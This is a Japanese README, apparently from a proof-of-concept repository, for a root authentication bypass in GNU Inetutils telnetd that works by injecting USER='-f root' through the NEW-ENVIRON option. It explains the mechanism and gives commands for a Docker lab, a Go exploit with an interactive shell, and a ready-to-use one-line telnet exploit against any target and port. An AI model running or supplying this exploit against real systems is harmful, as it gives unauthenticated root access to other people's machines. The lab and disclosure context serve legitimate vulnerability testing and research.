
GNU Inetutils telnetd リモート認証バイパス
本当に2026年になってtelnetですか? そろそろ移行しましょうよ。SSHは1995年からあるんですよ。 🤦
GNU Inetutils telnetd のバージョン1.9.3から2.7に影響する重大な認証バイパス脆弱性です。
この脆弱性は、NEW-ENVIRON telnetオプションを悪用して login(1) に悪意のある引数を注入します。telnetプロトコルを介して USER=-f root を設定することで、攻撃者は認証をバイパスし、資格情報なしでrootシェルを取得できます。
telnetプロトコルはNEW-ENVIRONオプション(RFC 1572)をサポートしており、クライアントがサーバーに環境変数を送信できます。telnetd デーモンはUSER変数を login(1) に引数として渡します。
USER=-f root を送信すると、値は次のように解釈されます:
-f フラグ:認証をスキップ(信頼されたホスト)root:対象ユーザーこれにより login -f root が実行され、即座にrootアクセスが許可されます。
PoCは、IAC WILL ECHO(0xff 0xfb 0x01)をチェックすることで悪用の成功を検出します。これは、シェルアクセスが許可されたときにサーバーが送信するプロトコルシグナルです。
# 脆弱なtelnetdコンテナをビルドして実行
docker compose up --build -d
# エクスプロイトをテスト
go run poc.go 127.0.0.1 2323
# Go PoCを使用(インタラクティブシェル付き)
go run poc.go <target> <port>
# 標準のtelnetクライアントを使用したシンプルなPoC
env USER='-f root' telnet -a <target> <port>
poc.go - インタラクティブシェル付きGoエクスプロイトDockerfile - 脆弱なtelnetdコンテナdocker-compose.yml - ラボのオーケストレーション